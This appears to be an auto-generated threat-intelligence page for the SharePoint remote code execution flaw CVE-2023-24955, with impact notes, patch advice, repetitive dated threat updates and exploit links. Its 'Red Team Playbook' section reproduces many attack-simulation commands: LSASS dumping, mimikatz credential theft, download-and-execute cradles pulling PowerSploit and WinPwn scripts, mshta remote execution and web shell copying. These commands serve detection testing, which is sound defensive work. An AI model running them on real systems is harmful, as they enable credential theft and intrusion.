CVE-2023-24955
Overview
This vulnerability is a remote code execution flaw caused by improper handling of user-supplied input leading to unsafe dynamic code evaluation within Microsoft SharePoint Server components. Specifically, the issue stems from inadequate input validation in server-side scripting or processing modules that execute code based on crafted input. The affected components include Microsoft SharePoint Enterprise Server 2016 and other SharePoint Server versions where this unsafe evaluation occurs, allowing an attacker with elevated privileges to influence code execution paths.
Vulnerability Description
Microsoft SharePoint Server Remote Code Execution Vulnerability
Impact
An attacker with a valid elevated privilege account can execute arbitrary code on the affected SharePoint server, potentially leading to full system compromise. This enables unauthorized access to sensitive data, installation of persistent malware, or disruption of SharePoint services. The attack requires a high-privileged user context but does not need user interaction beyond submitting crafted requests. The business impact includes data breaches, lateral movement within the network, and significant operational disruption of SharePoint-dependent workflows.
Solution
Microsoft has released security updates addressing this vulnerability for Microsoft SharePoint Enterprise Server 2016 and other affected versions. Administrators should apply the updates detailed in the Microsoft Security Response Center advisory available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24955. The advisory provides specific patch versions and installation instructions. No alternative workarounds are recommended; timely application of the vendor-provided patches is essential to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Microsoft SharePoint Server allows for remote code execution, which poses a significant risk to organizations utilizing this platform. This flaw arises from improper validation of user-supplied input, enabling an attacker to execute arbitrary code on the server. The affected versions include SharePoint Enterprise Server 2016, SharePoint Server 2019, and the subscription edition of SharePoint Server. The technical details indicate that an attacker can exploit this vulnerability through crafted requests, leading to unauthorized access and control over the server environment.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may leverage social engineering techniques to trick users into interacting with malicious links or payloads, or they may directly target the SharePoint server by sending specially crafted requests. Once the attacker successfully exploits the vulnerability, they can execute arbitrary commands, potentially leading to the installation of malware, data exfiltration, or further lateral movement within the network. Scenarios may include targeting organizations that rely heavily on SharePoint for collaboration and document management, where a successful attack could compromise sensitive corporate data.
The real-world impact of this vulnerability is profound, particularly for businesses that depend on SharePoint for critical operations. A successful exploitation can lead to significant business risks, including financial loss, reputational damage, and legal consequences due to data breaches. Organizations may face downtime as they respond to the incident, and the recovery process can be resource-intensive. Furthermore, the potential for data theft or manipulation can undermine customer trust and lead to regulatory scrutiny, especially in industries subject to stringent data protection laws.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating SharePoint installations to the latest security patches is crucial, as Microsoft often releases updates to address known vulnerabilities. Implementing robust intrusion detection systems can help identify unusual patterns of behavior indicative of exploitation attempts. Additionally, organizations should conduct regular security assessments and penetration testing to uncover potential weaknesses in their SharePoint configurations. Employee training on recognizing phishing attempts and safe browsing practices can further reduce the risk of exploitation.
In conclusion, the remote code execution vulnerability in Microsoft SharePoint Server represents a serious threat to organizations that utilize this platform. With the potential for significant operational disruption and financial loss, it is imperative for businesses to prioritize the detection and mitigation of such vulnerabilities. By maintaining an up-to-date security posture and fostering a culture of cybersecurity awareness, organizations can better protect themselves against the risks associated with this and similar vulnerabilities.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-24955, with telemetry indicating a sharp increase in exploitation attempts targeting Microsoft SharePoint Enterprise Server 2016. This surge coincides with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence in adversary operations. Notably, ransomware groups such as Black Basta and BianLian remain linked to campaigns leveraging this flaw, signaling continued interest from financially motivated threat actors. The availability of new proof-of-concept exploits and integration into Metasploit modules further lowers the barrier to exploitation, potentially accelerating attack velocity. While the EPSS score remains high but stable, the intensified detection trend suggests a heightened operational tempo that defenders must acknowledge. Consequently, the threat landscape for this vulnerability has shifted from emerging to actively exploited, warranting increased vigilance despite the absence of a change in the underlying CVSS severity rating.
Update 2 — July 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-24955, reflecting a sustained increase in adversary operational tempo. This surge aligns with ongoing ransomware campaigns linked to prominent groups such as BianLian and Black Basta, underscoring the vulnerability’s strategic value in ransomware intrusion chains. Notably, the availability of refined proof-of-concept exploits and their integration into widely used frameworks like Metasploit have lowered the technical barriers for threat actors, facilitating more frequent and sophisticated attacks. While the EPSS score remains stable, the qualitative rise in detection activity signals that exploitation is becoming more routine rather than opportunistic. For defenders, this shift necessitates heightened monitoring and prioritization of this vulnerability within SharePoint environments, as the risk of compromise through authenticated remote code execution is increasingly imminent. Consequently, the threat level associated with CVE-2023-24955 should be considered elevated, reflecting its transition into an actively exploited vector leveraged by financially motivated adversaries.
Update 3 — July 23, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-24955, with telemetry indicating a sustained increase in exploitation attempts targeting Microsoft SharePoint Enterprise Server 2016. This rise corresponds with continued interest from ransomware-affiliated threat actors, including groups linked to Black Basta and BianLian, underscoring the vulnerability’s growing appeal as an entry vector for financially motivated intrusions. Notably, new proof-of-concept exploits have surfaced in public repositories, enhancing adversaries’ capabilities to leverage the authenticated remote code execution flaw in conjunction with privilege escalation techniques. Although the EPSS score remains stable, the qualitative surge in exploitation signals a shift toward more systematic and targeted campaigns rather than opportunistic scanning. For defenders, this evolution elevates the urgency of monitoring and response efforts, as the window for successful compromise is narrowing. Consequently, the threat level associated with CVE-2023-24955 should be reassessed upward to reflect its increasing exploitation by sophisticated ransomware groups actively integrating this vulnerability into their attack chains.
Update 4 — August 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-24955, reflected by a discernible increase in telemetry signals. This uptick coincides with the sustained presence of ransomware groups such as BianLian and Black Basta actively leveraging this vulnerability within their campaigns, underscoring a shift from opportunistic probing to more deliberate, targeted intrusions. Additionally, the availability of refined proof-of-concept exploits and integration into widely used frameworks like Metasploit has lowered the technical barrier for threat actors, potentially accelerating exploitation velocity. Although the EPSS score remains stable, the qualitative surge in exploitation activity and ransomware association elevates the operational risk, indicating that adversaries are increasingly prioritizing this vector for initial access and lateral movement. Consequently, the threat level for CVE-2023-24955 should be considered elevated, reflecting its growing role in sophisticated ransomware attack chains and the narrowing window for effective defense.
Update 5 — August 22, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2023-24955, reflecting a modest upward trend in adversary activity. This subtle escalation aligns with ongoing ransomware campaigns linked to prominent groups such as BianLian and Black Basta, underscoring the vulnerability’s continued operational relevance. Although the EPSS score remains stable, the persistence of active exploitation and the integration of this vulnerability into accessible tools like Metasploit maintain pressure on defenders by lowering the technical threshold for attackers. Consequently, the threat level for CVE-2023-24955 is reaffirmed as elevated, emphasizing the need for vigilance given its sustained role in ransomware attack chains and the potential for increased exploitation momentum.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
M
|
Microsoft | Sharepoint Enterprise Server | 2016 |
cpe:2.3:a:microsoft:sharepoint_enterprise_server:2016:*:*:*:*:*:*:*
|
|
M
|
Microsoft | Sharepoint Server | N/A |
cpe:2.3:a:microsoft:sharepoint_server:-:*:*:*:subscription:*:*:*
|
|
M
|
Microsoft | Sharepoint Server | 2019 |
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Sharepoint Dynamic Proxy Generator Unauth RCE
exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce
|
Jang, jheysel-r7 | Unknown | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
former-farmer/CVE-2023-24955-PoC
Exploit for Microsoft SharePoint 2019
|
former-farmer | 13 | 3 | 2023-12-28 | View |
Threat Feed
45 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction StopOut-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction StopOut-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction StopOut-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"Get-ADComputer #{hostname} -Properties *Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutputxcopy /I /Y "#{web_shells}" #{web_shell_path}
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-24955 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24955 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-24955 |